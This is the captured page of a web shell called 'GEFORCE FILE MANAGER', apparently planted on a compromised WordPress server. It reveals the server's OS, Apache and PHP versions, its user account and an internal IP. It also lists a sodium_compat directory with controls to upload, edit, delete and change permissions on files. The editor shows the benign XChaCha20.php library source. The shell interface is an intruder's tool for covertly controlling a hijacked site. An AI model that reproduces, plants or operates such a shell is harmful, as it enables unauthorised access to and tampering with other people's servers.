[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-includes
/
sodium_compat
/
src
/
Core
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 AEGIS
SET
[ DEL ]
📁 AES
SET
[ DEL ]
📁 Base64
SET
[ DEL ]
📁 ChaCha20
SET
[ DEL ]
📁 Curve25519
SET
[ DEL ]
📁 Poly1305
SET
[ DEL ]
📁 SecretStream
SET
[ DEL ]
📄 AEGIS128L.php
3,668 B
SET
[ EDIT ]
|
[ DEL ]
📄 AEGIS256.php
3,598 B
SET
[ EDIT ]
|
[ DEL ]
📄 AES.php
15,885 B
SET
[ EDIT ]
|
[ DEL ]
📄 BLAKE2b.php
24,192 B
SET
[ EDIT ]
|
[ DEL ]
📄 ChaCha20.php
12,889 B
SET
[ EDIT ]
|
[ DEL ]
📄 Curve25519.php
143,641 B
SET
[ EDIT ]
|
[ DEL ]
📄 Ed25519.php
18,482 B
SET
[ EDIT ]
|
[ DEL ]
📄 HChaCha20.php
4,140 B
SET
[ EDIT ]
|
[ DEL ]
📄 HSalsa20.php
3,673 B
SET
[ EDIT ]
|
[ DEL ]
📄 Poly1305.php
1,576 B
SET
[ EDIT ]
|
[ DEL ]
📄 Ristretto255.php
21,884 B
SET
[ EDIT ]
|
[ DEL ]
📄 Salsa20.php
8,233 B
SET
[ EDIT ]
|
[ DEL ]
📄 SipHash.php
8,233 B
SET
[ EDIT ]
|
[ DEL ]
📄 Util.php
28,904 B
SET
[ EDIT ]
|
[ DEL ]
📄 X25519.php
8,413 B
SET
[ EDIT ]
|
[ DEL ]
📄 XChaCha20.php
3,320 B
SET
[ EDIT ]
|
[ DEL ]
📄 XSalsa20.php
1,371 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: XChaCha20.php
<?php if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) { return; } /** * Class ParagonIE_Sodium_Core_XChaCha20 */ class ParagonIE_Sodium_Core_XChaCha20 extends ParagonIE_Sodium_Core_HChaCha20 { /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len, $nonce, $key) { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx( self::hChaCha20( self::substr($nonce, 0, 16), $key ), self::substr($nonce, 16, 8) ), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce, $key) { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx( self::hChaCha20( self::substr($nonce, 0, 16), $key ), "\x00\x00\x00\x00" . self::substr($nonce, 16, 8) ), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce, $key, $ic = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx( self::hChaCha20(self::substr($nonce, 0, 16), $key), self::substr($nonce, 16, 8), $ic ), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce, $key, $ic = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx( self::hChaCha20(self::substr($nonce, 0, 16), $key), "\x00\x00\x00\x00" . self::substr($nonce, 16, 8), $ic ), $message ); } }